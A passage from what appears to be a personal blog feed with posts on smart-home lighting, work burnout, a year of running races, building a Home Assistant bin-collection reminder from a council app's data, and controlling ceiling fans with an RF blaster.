There’s a few other automations that I have setup for the lights, such as one that will turn all lights off when we go to bed, one to turn on the front porch light when we’re out after dark, but they’re not that interesting.

I stand by my perspective that smart light bulbs, whether they are wifi, ZigBee, Z-Wave, BLE or other, they really require something additional in the circuit, so they best suited for special situations, in my case, lamps for our kids bedrooms.

But Shelly’s to control the lighting circuits, they’re great and work just as I need them to. I’ve only had one drop off the wifi network since installing and I had to issue a reconnect in the Unifi admin portal, but after that I issued them all with static IP addresses and haven’t had any problems.

I’m really happy that I was able to fix the pain point with our fan lights, and now they work as expected (… mostly), which is definitely improving the Spousal Acceptance Factor!

In the future I’d like to add some presence and luminosity sensors in a few of the rooms so we can move away from needing the switches at all, just having the lights adjust to the needs of the room, but that’s a project for another day.

The Shelly 2.5’s have Power Monitoring in them and I’ve been contemplating if I could use that feature to work out if the light and fan is on/off, rather than manually tracking state in Home Assistant, but it’ll take a bit of exploring to see if it’s possible to work out the power draw when the light is on vs when the fan is on (and on at different speeds).

Burnout

website-contact@aaron-powell.com (Aaron Powell) — Tue, 03 Jan 2023 04:58:12 +0000

To say that 2022 was a tough year is probably an oversimplification of things, but yeah, 2022 was tough. And it’s not just the case that we’re a few years into a global pandemic for me, 2022 was tougher than that.

To put it simply, I’m burnt out.

By and large I’m a pretty upbeat and laid back person. I remember in high school my mum commenting that she didn’t think she’d ever seen me stressed about an assignment or exam. I mean, I didn’t get stressed about that stuff, because at the end of it, a bad grade was just a bad grade. I’d get over it and move on. I’d learn from it and do better next time. Sure, I wasn’t an A-student, I was a B-student, and that was good enough for me.

And this is something that I’ve taken into my work life as well, don’t stress about the small stuff, there’s always something else to tackle and just keep the big picture in mind and you’ll be fine.

Because of this, I’ve always felt that I had a decent grasp on my mental health. I’ve never been diagnosed with anything, but I’ve always felt that I was in a good place mentally. I’ve never had any issues with depression or anxiety, and I’ve never had any issues with burnout.

Until now.

Around and around we go

2022 started with me stepping down from leading the team I’m in at Microsoft and helping to onboard the new manager. While I wasn’t sad to be stepping down, it did hurt to have been unsuccessful in the application for the lead role, after all, it’s hard to not take the “no, you’re not cut out for this” personally.

The other thing that made this tough was that it meant yet another manager for me, and once I did the maths I realised that I had a manager retention rate of 5 months. I was just starting my 3rd year at Microsoft and I was already on like my 7th manager. I mean, I’m not going to lie, it’s a bit demoralising to have to keep explaining to new managers what my objectives are, what I’m working on, and what I’m trying to achieve. I even jokingly made the comment to my manager that “we’ll review in 5 months”.

Well, guess what happened in 5 months? I got another new manager.

Quick aside - my manager was promoted to fill a role that was vacated by someone who left the company, so they actually became my “skip” (my managers manager) and my new manager was managing a sibling team, they just had their role expanded to also cover the JavaScript team, so it was a complete upheaval.

And this is where things started to get tough.

Here we go again.

With this being my 8th manager in 3.5 years, I’m pretty numbed to the change and it’s been getting harder to get back into the rhythm of things. We’re also going into a new FY, which means we’ve got a new set of objectives coming down, the team above Advocacy had been restructured so we are reporting closer to the CVP, so it’s a whole bunch of change that I just can’t get excited about.

Impact, or lack there of

In October I was doing my 6 monthly self-review (we call them Connects) and I was looking at what I had achieved and being honest, it wasn’t much. Our team didn’t have many clear objectives and Advocacy in general was still in draft mode for what FY23’s objectives were going to be. I was feeling pretty demoralised, and I was starting to feel like I was just spinning my wheels.

When reviewing my Connect with my manager, the feedback was pretty clear that I need to step up my game, and while I’m not on a performance improvement plan, it’s something that could come down the track if I don’t start to show some results.

November was probably my lowest point, but I was still too deep in the hole to see it.

A holiday and self reflection

At the start of December I had a week off, I went up the coast with my wife and kids, plus her extended family. I turned off the work profile on my phone (which disables Teams, email, etc.), and didn’t touch a computer all week (except for turning it on so the kids could watch Netflix).

When I got back to work I realised that I hadn’t been at a PC for a week and I hadn’t missed it, being disconnected hadn’t left me thinking “oh, I need to check my email”, it was just a nice break.

I started to reflect on that and realised pretty quickly that I was burnt out. I was burnt out on the constant change, I was burnt out on the lack of impact, I was burnt out on the isolation of remote work, and I was burnt out on the lack of direction.

I was burnt out.

Moving forward

After getting back to work I set about defining a few solid goals to achieve before the end of the year. I got into coding on one of the projects our team had been working on and found myself debugging deep into some Golang code, creating PR’s against one of our products and generally feeling like I was doing something with some impact.

I had a bit more of a break over the festive season and did some more reflecting on what I want to achieve in 2023. I don’t have solid goals yet, just a sketch out of what I believe I can do, and I’m going to be working on that over the next few weeks.

Burnout doesn’t go away overnight, and I’m by no means “cured”, I still catch myself staring off into space at times, but I’m starting to feel like I’m on the right track.

Wrapping up

I’m not sure if this post will resonate with anyone, but I felt like I needed to get it out there. I’ve been feeling pretty low for the last few months, and I’ve been trying to keep it to myself, but I think it’s time to be open about it.

Don’t be afraid to ask for help, and don’t be afraid to ask for a break. I’m not saying that you should take a break from work, but I am saying that you should take a break from the things that are causing you stress. If you’re feeling burnt out, take a step back and figure out what’s causing it, and then work out how to fix it.

Banner Image by Ryan Snaadt.

1500km

website-contact@aaron-powell.com (Aaron Powell) — Mon, 02 Jan 2023 00:35:02 +0000

Well, 1,565km’s to be exact, but who’s really counting (oh right, me, that’s the point of this post!).

It’s another year down so I thought I’d share my running journey from 2022 as it was very much a year of milestones for me, not only is 1500km’s the most km’s I’ve done in a single year, I also managed to get PB’s on all races I entered and I was (mostly) injury free.

The raw stats

As the saying goes, if it’s not on Strava, it didn’t happen, and according to Strava I ran a total of 1565km’s across 176 activities, totalling 129 hours and 17 minutes, with an elevation gain of 12,719 meters.

Like I mentioned last year Strava is a bit of a pain to get overly specific with, but I now have 12 months of data in Garmin to look at as well. According to this, the largest running month for me was January at 177.7km for the month, followed closely by August at 175.9km. This tracks as in January I was finishing my “run at least 5km a day” which I kept up for ~3 weeks, and August was the final training for City2Surf.

Races

The big change for 2022 was that races were back. Races are something that I’d missed from the peak pandemic, so I set myself some goals, a sub-95 half marathon and sub-60 City2Surf (which I’d done in 2019, so it was more proof I could do it again).

For me, City2Surf was my A race, the one that I was targeting directly, and I ran the SMH and Blackmores half marathons in addition.

SMH Half Marathon

This was a bit of a spur of the moment event for me. Being in May, SMH is early enough that it’s an indicator for City2Surf (and where to adjust training) but also well enough into the year that I’ve had some time to get some fitness baseline setup.

But SMH sucks, it’s a really hard race and as much as I enjoy it, I also really hate doing it.

The course for SMH is through Sydney CBD, starting at Hyde Park, zig zagging through the CBD before heading out to Pyrmont, turning around, and then at ~15km in the hills start, with about a 30m vertical climb, and then it just goes up and down constantly from there.

As I mentioned, this was a spur of the moment event for me. It’s the first of the big Sydney running events in a calendar year, but I wasn’t sure I’d sign up for it. Talking with some running friends I was sure I could do it (and I did a few half marathon distance long runs at the start of 2022), but having not raced for nearly 3 years, I was unsure if I was mentally ready. But I decided to bite the bullet and sign up, best shake off race nerves before City2Surf!

One of my friends I run with was running similar pace to me and was targeting a sub-95 time so I thought I should be able to do that - it’s holding a 4:30 min/km pace and my training runs saw me hitting that with reasonable consistency.

Come race day I went to find my friend, but he’d gotten into the starting pack before me and was near the front, so I did my warm up of a 1km job, followed by some dynamic stretching and sprints at progressively faster pace, then I settled into the back of the starting group. I wasn’t going to run with the 95 pacer anyway, I don’t like running with pacer groups (I prefer to do my own thing), so it wasn’t that much of a bother.

The race got underway, I settled myself into a pace/cadence that was felling good for my body - I don’t look at my watch/wearing a timing print-out, I prefer to run what my body feels to be right and if I miss a pace goal, then clearly I wasn’t ready for it. I paced the 100 min pacer around 8km, clearly I’m holding a solid pace above 100 minutes, and then caught the 95 pacer a few km later. This is good, I’m on pace for sub-95 if I’m passing the pacer. I saw my friend pass me on the return, he wasn’t that far ahead so I pushed a bit and caught him, cheered him on and then dropped away - despite all our banter beforehand and him being convinced I’d out run him, he was clearly running stronger than me and I wasn’t going to be able to keep pace.

And then it went to shit.

At the 15km mark, after a few km of flat running, you turn sharply and go up, and up, and up. It was clear that I wasn’t prepared for hills and I knew this was going to be a tough finish to the race. I went from a 4:08 min/km pace to a 4:54 min/km over two km’s. Now sure, there’s expected slowdown when you hit hills, but even reviewing the GAP (Gradient Adjusted Pace) I was behind 4:30 which I needed for sub-95.

When you hit 19km you go downhill into Mrs Macquarie’s Chair, before a hairpin turn and heading back up and out. I summoned the last bit of adrenaline I had left, shouted some encouragement to the runners around me who were clearly in the same boat as me, then prepared for the climb… and then I heard a chirpy voice shouting encouragement behind me. A quick look back to confirm, that yep, there’s the 95 min pacer coming up behind me. Shit, I’d left them behind nearly 10km ago and that confirmed just how much I’d dropped pace.

It was now or never, I pushed as hard as I could for the final straight, rounded the last corner, crossed the finish line (and stopped my watch, can’t risk overage on the activity!), and sat down, exhausted.

I did it - 94:09, I broke my 95 goal.

My friend came over and congratulated me, he’d run a 92, so I was glad I didn’t stick with him! Then I went to find my family who’d come in to cheer my finish, my youngest was super excited cuz he’d seen Spiderman finish and I’d beaten Spiderman, so I was kind of a big deal!

It did take me several days to be able to walk properly again, but I’d gotten my goal and some useful insights on where I was lacking as I looked towards my next race, City2Surf.

City2Surf

The number one takeaway from SMH was that I wasn’t hill-fit, and that’s something I’d need to work on for City2Surf, because while SMH is a rough finish with the hills, City2Surf is unforgiving the whole way, there’s maybe 2km of flat across the 14km course, everything else is either up or down.

I rejigged my training plan - I was running four times a week, Wednesday became hills (I mapped a 3.5km loop at my local park that was up and down constantly), Friday would be speed work (I stopped RunLab as I wasn’t finding it valuable anymore), Saturday was parkrun (generally pushing both kids in a pram) and Sunday was a long run (generally around 15km). As City2Surf got closer, I doubled the hill session to run ~7km up and down, ensuring that I was as strong as I could possibly be on the hills.

On race day I stuck to the same plan as in 2019, hang to the back of the wave I’m in, rather than try and run in the pack. It’s probably more psychological than anything, but City2Surf is a huge event, 46,000 people ran/jogged/walked it in 2022, and in my wave there was easily several thousand and there’s a large variety of runners there, so by hanging back I hope for the pack to thin a bit and I can find a path through, rather than getting suck behind people who aren’t going at the pace I’m going.

I found my groove early, there was a lot of people traffic to dodge, but the legs felt good and around the 5km mark, when you hit one of the flattest sections, I knew I was running fast and strong (looking at the analysis, I did a 3:45 min/km!) and then we get to Heartbreak Hill. Heartbreak Hill is the hill of City2Surf, it’s ~1.4km (just under 1 mile) with ~85m elevation gain on a 6% grade and it’s about the midway point. A good rule of thumb is how you feel at the top is how the race will pan out and in 2019 I was done by the top of the hill (I still don’t know how I held on to the sub-60) but this year I crested it and felt good. Sure, my legs were burning but they still felt strong, and I knew this would be a good time, in fact, looking at the GAP for the segment, I ran a 3:59 min/km, which is insane for a hill like that.

Feeling good I hit the back half of the course confident. I pushed through the next couple of hills, waved to a friend who’d come out to cheer me on, past someone I know from parkrun (who is a strong runner and consistently beats me there), got horribly depressed when you see the finish line only to have to run past it before doubling back (honestly, that’s just mean!) and crossed the finish line with a 57:24.

That’s 2 minutes faster than my 2019 PB, so yeah, crushed it.

Blackmores Half Marathon

After doing City2Surf I was talking to other running friends and I kept getting asked if I was going to aim for sub-90 at Blackmores. I generally shrugged it off as not happening, after all, I only just managed to get sub-95 at SMH, and while I ran a pace a City2Surf to achieve it, I couldn’t have kept that up for another 7km.

But it nagged at the back of my mind, maybe I could. So I decided to push my training a bit harder, there was about 6 weeks to go, enough time to build a bit more in. I added a 2km tempo run onto the hills session and extended the length of the speed sessions to be longer segments at pace.

I felt good, so I decided I would go for it as a stretch goal, with sub-95 being my main objective. Also, Blackmores should be easier to do it than SMH, it’s an “easier” course, with a bit of hills at the start of the race, but once you hit the final third it’s dead flat, and while I was now stronger on the hills, I know that on flat I can really push it.

Then, with about a week to go I felt a twinge in my calf. Shit, I know what this is, it’s the feeling I had last year, I’m on the edge of a calf strain. I decided that I would still run, I’d put in the training, I should be able to hold it together.

On race day I ended up a bit later than planned to the start area (extra bathroom stop along the way!) which meant that I wasn’t able to do the warmup I wanted, only a short jog and a few dynamic stretches, before having to get into the starting area, so my injured calf wasn’t warmed up properly. My race plan was to take the first few km easy as they are a bit hilly (you start from Luna Park, run uphill to the Harbour Bridge and then over it, very picturesque) and that’d give my leg a chance to warm up, knowing I could regain time on the final third once we hit the flat.

Of course I didn’t follow that. My first km was just under 4:30, with the next being 4:11 and a 3:54 3rd km. This explains why at about 10km I knew I’d torn my calf. I momentarily entertained the idea of calling it quits but I’d come this far, only another 11km to go and I can book a physio appointment!

With about 5km to go I broke my “no look” rule and snuck a look at my watch, partially because I needed to know how much longer I was likely to suffer for, and I was shocked, I was under the pace I needed to hit sub-90! I could do this, only 20 more minutes. Adrenaline surged and I pushed on, one step at a time.

87:46. I not only did it, I’d blown past sub-90! I called my wife and kids (who were still in bed) excited but exhausted. I grabbed a drink, headed up to the recovery area and got a massage then booked into the physio for 9am the following day 🤣.

The physio confirmed I’d torn my calf. Thankfully it wasn’t a particularly bad one and as the physio said, I got a PB so it was worth it!

parkrun

A key part of my running is parkrun, a free, timed 5km event that happens at parks every Saturday around the world. I try to make it every weekend, even when I’m traveling I’ll look for where the nearest parkrun is (I rode 8km through Copenhagen to do a parkrun once).

I started the year with North Woolongong parkrun and ran a 20:22, which I found an amusing start to the year. I hit my 250th parkrun in January at my local parkrun, which is a huge milestone.

In September we were holidaying in Mudgee and I decided to run the parkrun there. It was a rainy morning and about 4c, so my wife thought I was mad. But, I managed to run my fastest parkrun ever with a 19:19!

Then, to cap off the year, I finally managed to get a 1st finisher on Christmas Eve in Queenbyane, on what is a very hilly course.

I doubt I’ll see this kind of “success” in 2023 at parkrun, I’ve set the bar pretty high for myself…

Training

So I’ve had some pretty big wins in terms of events this year, and that begs the question, what’s changed?

The short answer is focus - I’ve trained in a more focused way on specific outcomes and on where I knew I had the biggest shortcomings. Weird that seems to have paid off right! 😅

My wife and I alternate workout days, each doing four days per week (we overlap Saturday with both of us at parkrun), and my week looks like this:

Wednesday: Hills. I aim for around 10km when getting to the end of training before tapering for a race
- Now that races are done for the year, Wednesday is more of a social run with some friends at an easy pace, but we still hit around the 10km mark.
Friday: Speed. I was doing RunLab on Friday but ultimately I reached the end of what I felt of was getting out of the program in the middle of the year and started creating my own program. The sessions range from short distance (400m) as hard as I can go, up to 1 mile around threshold pace. With warmup and cool down, this can get over 10km, but that’ll depend on the segment lengths. For this I try and do it on a flat area, and have some parks nearby that are good for that
Saturday: parkrun. Since both my wife and I do it, and our kids don’t want to run it, I take the pram, so I consider it a strength training session! Trust me, when you’ve got ~60kg of kids and pram, going up Sydney Park Hill (which is in the middle of our “home” parkrun) and then down again is a good workout through the legs.
Sunday: Long, easy run. Ok, maybe I should say “easy”, as I have had a tendency to run it a bit too fast. But still, it’s generally around 15km and I aim to run just what feels good, without any sort of pushing myself.

After injuring myself at Blackmores, my physio reiterated that I really should be doing some strength work, and no, pushing the pram or picking up my kids doesn’t count. So, I’ve started hitting the gym. I’ve replaced Friday’s speed session with a gym session, as I don’t really need to do speed work outside of race training, instead I do a program of:

Jog to the gym warmup
Leg press
Lunges
Leg curls
Step ups
Calf raises
Plank
Squats
Longer jog home

And, yes, it seems to be paying off. So I guess that the physio was right… I’ve kept this up for a few months now, so we’ll see what the impact is next year.

Shoes

The other major “change” I made this year was shoes. One thing I like about running is that it’s reasonably cheap. You buy a pair of shoes, some workout gear, and that’s your expenses done. I only ever own one pair of shoes at a time and I’ll run them into the ground. Annoyingly at the end of 2021 I had my shoes stolen from out the front of an apartment we were holidaying at. Granted, these shoes had done ~1200km and were ready for retirement, but I was aiming to run the year out in them and crack a fresh pair for 2022. And really, who steals a pair of beat up old runners? The smell alone should have warned the thief off!

For the last few years my go-to shoe has been the Adidas Adizero Adios (I’ve run both the 4’s and 5’s), and had a fresh pair of them waiting at home to get me started. I find them a good all round shoe for the kind of running I do. But one of my running friends had a lot of excess shoes (from doing reviews of them), and is the same size as me, so they offered me a few pairs to try out.

There are two main pairs that I’ve added to my rotation, Saucony Triumph 19 and Saucony Endorphin Pro v1. The Triumph’s are what I use for my long runs, they have a huge amount of cushioning in them, making them very soft and cushy, ideal for a long distance run at an easy pace. The drawback of them is they are harder to “go fast” in, as they absorb so much in each step that you don’t get the same return on effort as you do in a less padded shoe (I also find they lack much tread, making them very slippery in the rain, but that could be cuz they are a bit warn).

The Endorphin Pro’s are the complete opposite, these are racing shoes. They are of the style with a carbon plate through the base of them, making them ultra ridged, and giving you a lot of return momentum for each step. I only tend to crack them out just before a race to get use to them again, the rigidity makes them feel very different through the ankle and it takes time to get use to the change in movement. For all the races I did this year, I wore the Endorphin Pro’s. Have they made a difference? it’s hard to tell, as I don’t have comparable data (not like I also ran the race on the same day in different shoes). Yes, I beat my PB’s in each race, some by considerable margins, but it’s also been several years of progressively increasing running and training, which will have had an impact.

But hey, now I’m a shoe snob who has multiple pairs of runners and when I’m going out I select the “right” shoe for the kind of run I’m doing… I guess it was bound to happen 😅.

Conclusion

2022 was good to me as a runner. I really never though I’d be in a position to run a sub-90 half marathon, but I did it and I can see the impacts of proper training schedules. I haven’t gone as far as getting a personalised plan (yet…), but the past few years have helped me learn more about judging paces when running so I can pace myself better, and how to put together a session for myself that meets what I’m trying to achieve.

I’m not sure what 2023 will bring, I’m currently nursing a sore calf as I strained it a bit chasing some Strava crowns just before New Years (I managed to get them though, so that’s all that matters), so it’ll be a lighter start to the year. I’m also going to be seeing a surgeon about the varicose veins in my right leg, as I’m starting to notice the difference in swelling between them, so that may see me out of action for a bit.

The intent is to keep to the three days of running plus one day at the gym, and I hope to target the same three races again, to prove that 2022 wasn’t just a fluke year in running, but for that I’ll have to work out how to fit an extra day of running in.

So fingers and toes crossed, and we’ll see what this post looks like in 12 months time.

Building a Smart Home - Part 5 Bin Day

website-contact@aaron-powell.com (Aaron Powell) — Mon, 07 Nov 2022 05:43:39 +0000

Where I live, we have three bins that we can put out, depending on the week, red for household rubbish, yellow for mixed recycling and green for garden waste. The red bin goes out each week, but the yellow and green alternate every other week, so you need to know which one it is that week and like a lot of people, I never know which week it is, so I sneakily wait until my neighbours put their bins out and then I put mine out, following their colour choices!

But really, this is the kind of quality-of-life improvement that I should be able to solve with a smart home, so I decided to add it.

Getting the data into Home Assistant

The first step is to get the data into Home Assistant. Thankfully, HA has a calendar feature, so it’s just a matter of having something that goes into that feed and then we should be all sorted right?

My friend Tatham pointed me to Waste Collection Schedule, a custom component for Home Assistant that does exactly what I need. Well, it would if my council was there… No biggie, I’ll just add it myself.

Adding a new council

The first step is to find a feed for your local council that has the data available. I live in the Inner West Council and they have a waste calendar on their website, which you can pop in your address and get a display like this:

Great, it’s a calendar, or at least providing data that can be mapped to a calendar, all I need to do now is find the endpoint that that’s calling and I’m all set. I set about digging through how it worked and figured the best place to start was the network tab in my browser:

Oh dear… It’s an ASMX web service, which is something from old-school ASP.Net WebForms days, which I haven’t used in a long time. I’m not sure if it’s still a thing, and it’s a HTTP POST, so it’s going to be a bit tricky to break down, but let’s try anyway. We’ll start with the payload:

{
  "schedulerInfo": {
    "ViewStart": "/Date(1667052000000)/",
    "ViewEnd": "/Date(1670076000000)/",
    "EnableDescriptionField": true,
    "MinutesPerRow": 30,
    "TimeZoneOffset": 36000000,
    "VisibleAppointmentsPerDay": 2,
    "UpdateMode": 0,
    "moduleID": 58152,
    "userID": 0,
    "filterPermissions": 6,
    "filterGroups": "",
    "filterApptTypes": ""
  }
}

Oh dear… ASP.Net serialized DateTime strings, this just gets better… Let’s check out the response:

{
  "d": [
    {
      "__type": "Telerik.Web.UI.AppointmentData",
      "ID": 752,
      "EncodedID": "/wEC8AXS5ORUZvoJJiHck83LcbtXaRd/GhDgLBkE78COC0wM0g==",
      "Start": "/Date(1584540000000)/",
      "End": "/Date(1584626400000)/",
      "Subject": "Garbage Bin",
      "Description": "Thursday by 4.30pm",
      "RecurrenceState": 1,
      "RecurrenceParentID": null,
      "EncodedRecurrenceParentID": null,
      "RecurrenceRule": "DTSTART:20200318T140000Z\r\nDTEND:20200319T140000Z\r\nRRULE:FREQ=WEEKLY;INTERVAL=1;BYDAY=TH\r\n",
      "Visible": false,
      "TimeZoneID": "AUS Eastern Standard Time",
      "Resources": [
        {
          "__type": "Telerik.Web.UI.AppointmentData",
          "ID": 752,
          "EncodedID": "/wEC8AXS5ORUZvoJJiHck83LcbtXaRd/GhDgLBkE78COC0wM0g==",
          "Start": "/Date(1584540000000)/",
          "End": "/Date(1584626400000)/",
          "Subject": "Garbage Bin",
          "Description": "Thursday by 4.30pm",
          "RecurrenceState": 1,
          "RecurrenceParentID": null,
          "EncodedRecurrenceParentID": null,
          "RecurrenceRule": "DTSTART:20200318T140000Z\r\nDTEND:20200319T140000Z\r\nRRULE:FREQ=WEEKLY;INTERVAL=1;BYDAY=TH\r\n",
          "Visible": false,
          "TimeZoneID": "AUS Eastern Standard Time",
          "Resources": [
            {
              "__type": "Telerik.Web.UI.ResourceData",
              "Key": 385,
              "Text": "Garbage Bin (red lid) - MarrZone15B",
              "Type": "AppointmentTypeID",
              "Available": true,
              "EncodedKey": "/wECgQO8KfWqRezwxWlACrW+iXp1yPOARWUInQEsFugq6PPmWA==",
              "Attributes": {
                "name": "Garbage Bin (red lid) - MarrZone15B",
                "backcolour": "#EE0031",
                "bordercolour": ""
              }
            },
            {
              "__type": "Telerik.Web.UI.ResourceData",
              "Key": 3,
              "Text": "Public",
              "Type": "PrivacyID",
              "Available": true,
              "EncodedKey": "/wELKYwBQ01Eb3ROZXQuQ29tbW9uLmVjQ2FsZW5kYXIuQ29tbW9uLkVudW1lcmF0aW9ucytBcHBvaW50bWVudFByaXZhY3ksIENNRG90TmV0LkNvbW1vbiwgVmVyc2lvbj0xMS41LjE1LjU2LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwDHumVwtOrf2dqNRWC26d+4JZSY0Owz4D1NkVQi9COlYk=",
              "Attributes": {}
            },
            {
              "__type": "Telerik.Web.UI.ResourceData",
              "Key": 2,
              "Text": "Implementation Staff",
              "Type": "People",
              "Available": true,
              "EncodedKey": "/wECAr6LF7CwU/mH1D0Fnnna3lyFqUBUtQQ7fRbNCKf+z84Q",
              "Attributes": {
                "strFirstName": "Implementation",
                "strLastName": "Staff"
              }
            }
          ],
          "Attributes": {
            "PrivacyID": "3",
            "tt_location": "",
            "UserName": "Implementation Staff",
            "tt_apttype": "Garbage Bin (red lid) - MarrZone15B",
            "tt_subject": "Garbage Bin",
            "OrganiserUsers": ",",
            "AllowDelete": "False",
            "AllowEdit": "False",
            "tt_aptprivacy": "3",
            "AppointmentTypeID": "385",
            "ViewerGroups": "",
            "ExternalURLOpenNewWindow": "False",
            "OrganiserGroups": "",
            "AttendeeUsers": "",
            "ExternalURL": "",
            "AttendeeGroups": "",
            "Location": "",
            "UserID": "2",
            "ViewerUsers": "",
            "tt_description": "Thursday by 4.30pm",
            "SyncWithExchange": "False",
            "Title": "Garbage Bin"
          },
          "Reminders": []
        }
        // snip

OH DEAR… I’ve truncated the response here (it’s over 1000 lines!) and having spent some time going through it, it’s not something I could figure out (this first record start/end date is back in 2020 from what I can deserialize!). Which isn’t that surprising, the data is designed to be used by the Telerik Calendar control (from what I can determine), so it’s really only designed for use within that control.

I spend a few evenings trying to make sense of the data structures in the JSON payload, to work out what I can change in the POST body to maybe get more useful data, but it was feeling like a mostly pointless effort… it’s time for a new approach.

Adding a new council - take two

Since the website isn’t going to be much use, it’s time to rethink the strategy for how I can get the data. Some web searching and digging through the council website (yes, I read a lot of the council website!) was leading my nowhere, until I re-read the original waste calendar and noticed that there’s an app. First off - why do I need an app for my local council, but I digress…

If I can get the waste schedule on the mobile app, it’s going to have an API that’s easier for me to parse. I installed the app on my phone and now it’s time to work out what it’s doing. This is something I’ve done in the past using Telerik Fiddler, basically what you use Fiddler on your computer as a proxy, configure your mobile to use your computer as the proxy and then monitor the network traffic (here’s a guide from Telerik).

For some reason I couldn’t get the root certificate installed, so I wasn’t seeing any of the traffic contents, but I was seeing the routes it was hitting and what I saw was a bunch of requests to https://marrickville.waste-info.com.au. Unfortunately, this is a CMS that I don’t have the login details for, so it was feeling like a dead end again.

I decided to have a poke around some of the other Australian council implementations in the HACS component when I stumbled into one that looked interesting, it was hitting a waste-info.com.au address too. It wasn’t marrickville, but it was still on there, so maybe this CMS is something I can figure out by going through other implementations.

Through browsing the code, it seemed like the data is gained by building a request across a series of other endpoints, first we get the suburb ID from the localities, then we get the street ID, and then a property ID before getting the details for the property! Using the browser, I tested following each endpoint and eventually I got a to:

{
  "collection_day": 4,
  "collection_day_2": null,
  "zone": "zone 15",
  "shs": null,
  "collections": [
    {
      "id": 19,
      "bin_type": "recycle",
      "recurrence": "fortnightly",
      "collection_day": 5,
      "next_collection_date": "2022-11-18"
    },
    {
      "id": 20,
      "bin_type": "organic",
      "recurrence": "fortnightly",
      "collection_day": 5,
      "next_collection_date": "2022-11-11"
    }
  ]
}

Success!

I copied the reference implementation, tested it locally and sent a PR, so now Inner West Council has been added!

Adding to Home Assistant

Now that the component supports my location (I manually added the Python file while I waited for the PR to merge in), it was time to add it to my Home Assistant dashboard.

That’s what I display on the dashboard. I got the card idea from Tatham and it’s using the https://github.com/thomasloven/lovelace-template-entity-row custom card.

Here’s the YAML for the card:

type: entities
entities:
  - type: custom:template-entity-row
    entity: sensor.next_collection
    name: "{{ states.sensor.next_collection.state }}"
    state: |-
      {% set days_to = state_attr('sensor.next_collection', 'daysTo') %}
      {% if days_to == 0 %}
      Today
      {% elif days_to == 1 %}
      Out Tonight
      {% elif days_to <= 7 %}
      {{ (now() + timedelta(days = days_to)).strftime('%A') }}
      {% else %}
      in {{days_to}} days
      {% endif %}
    active: "{{ states.sensor.next_collection.attributes.daysTo <= 1 }}"
    icon: mdi:trash-can-outline
  - entity: sensor.next_garden_collection
    type: custom:template-entity-row
    name: Green bin
    condition: "{{ states.sensor.next_garden_collection.attributes.daysTo <= 7 }}"
  - entity: sensor.next_recycling_collection
    type: custom:template-entity-row
    name: Yellow
    condition: "{{ states.sensor.next_recycling_collection.attributes.daysTo <= 7 }}"
  - entity: sensor.next_rubbish_collection
    type: custom:template-entity-row
    name: Red bin
theme: minimalist-desktop

The top is a template that looks works out how long is left and shows a friendly description for when the next collection is, and then I show more details such as which bins there are.

I’m also using a custom sensor for next_collection which computes from the calendar info:

- platform: waste_collection_schedule
  name: next_collection
  add_days_to: true
  details_format: generic
  value_template: '{{value.types | join(", ")}}'

Automations

I currently have a single automation that does a broadcast message the day that the bins are due to go out:

- id: "bin_day"
  alias: "Reminder: Bins"
  description: ""
  trigger:
    - platform: time
      at: 08:00:00
  condition:
    - condition: time
      weekday:
        - thu
  action:
    - service: tts.google_translate_say
      data:
        entity_id: media_player.nestaudio0935
        message: Today's bins are {{ states.sensor.next_collection.state }}
  mode: single

I should probably update the automation to use something from the HACS component rather than hard-coding thu as the day, but that’ll come if they change my day of pickup.

I’ve contemplated having something that does an additional reminder if the bins aren’t put out in time, maybe have some presence sensor on the bin and check their location, but I’m not sure if that’s worth the effort, plus this was more to know if it’s yellow or green bin day, not to remind me to put them out (I’m pretty good on that front).

Conclusion

I’m pretty happy with how this turned out, it was a fun to do some reverse engineering of the mobile app and figure out how to get the data. I’m also happy that I was able to contribute to the HACS component, so hopefully it’ll be useful to others.

I think there’s more I could do from a dashboard level to make it more useful, but I’m happy with what I’ve got for now.

If you’re doing something similar, I’d love to hear about it, so please let me know in the comments!

Building a Smart Home - Part 4 Ceiling Fans

website-contact@aaron-powell.com (Aaron Powell) — Mon, 24 Oct 2022 04:25:19 +0000

When we designed our new home, we decided to add ceiling fans to each of the bedrooms, mostly because, while we have a HVAC system in place that is ducted throughout the house, sometimes you just want some basic air movement in a room, especially when it’s humid but not hot, and a HVAC is a lot more expensive to run than a ceiling fan.

But, ceiling fans tend to be pretty dumb, and I wanted to look at how to integrate them into my smart home, so let’s take a look at that today. We installed fans from Lucci Air (I’m not sure the exact model) and they have a remote control, so I’ll be looking at that style of fan. If you’ve got something else, maybe some of the ideas here will resonate, but I can’t guarantee it.

But first…

Ceiling fans are great example of terrible UX

In the first post of this series I brought up the topic of Norman Doors, a term used to describe something that doesn’t work the way you’d expect it, and for me, they are the perfect example of how something can be wrong in a smart home.

Take the remote controlled ceiling fan. I have a switch on the wall that when I flip it, the state of the light changes. Great, that’s to be expected. And I have a remote that I can use while laying in bed and way to turn the fan on. Again, great… except it’s not.

It turns out that these fans (and we had a different Lucci module at the place we rented) are a broken UX design. You see, the switch on the wall isn’t changing the state of the light per se, it’s changing the power state of the circuit, and it just so happens that the fan remembers it’s last state (and the default last state when they were installed is “light is on”). So, if I flip the switch the circuit either has power or doesn’t, and when it has power, the remote can be used to control the fan speed or turn the light off, but when it doesn’t have power, the remote can’t do anything. This manifested itself as a problem in the rental as we’d go to bed, but then want the fan on in the middle of the night, but to do that you flip the switch, light up the room and then quickly hit the “turn light off” button… hopefully without waking the other sleeping person in the room.

See, broken UX.

So you can address this by removing the switch all together and now it’s just remote controlled, but again, you’ve broken your UX. When someone walks into the room they expect a switch, but it’s not visible, and now you’re left explaining “so, you have to find the remote first, then use that to…” and invariably, one of the kids has hidden the remote.

This is a perfect example of everything that can go wrong when you try to make something “smart”. Sure, a remote isn’t a “smart home device” but in this case it’s filling the role and doing so in a way that means you have to constantly “train” people on how to use a room, which is not what you should want.

Ok, complaining done, back to the blog post.

Ceiling fan remote control

Given that we have a remote that is used to control the fan functions, it stands to reason that it’s using some signal to communicate with the fan, and that signal is probably using some sort of RF protocol (I’m not sure what frequency this one uses, but knowing it is not required for the solution). And if it’s something being broadcast, well, we can simulate that broadcast right?

For that, I decided to use the Broadlink RM4 Pro, which is capable of broadcasting RF and IR signals. I was already using one of these at the rental to blast IR as the reverse cycle AC unit (as I couldn’t be bother replacing the batteries 🤣), so it seemed like a decent enough starting point. Also, there’s a Broadlink integration for Home Assistant which makes it easy to control the device. And for a bonus, the Broadlink device works on local control, so you don’t need to have it connected to the internet to use it.

Once the device was provisioned and integrated into Home Assistant, it was ready to get going.

Teaching the Broadlink

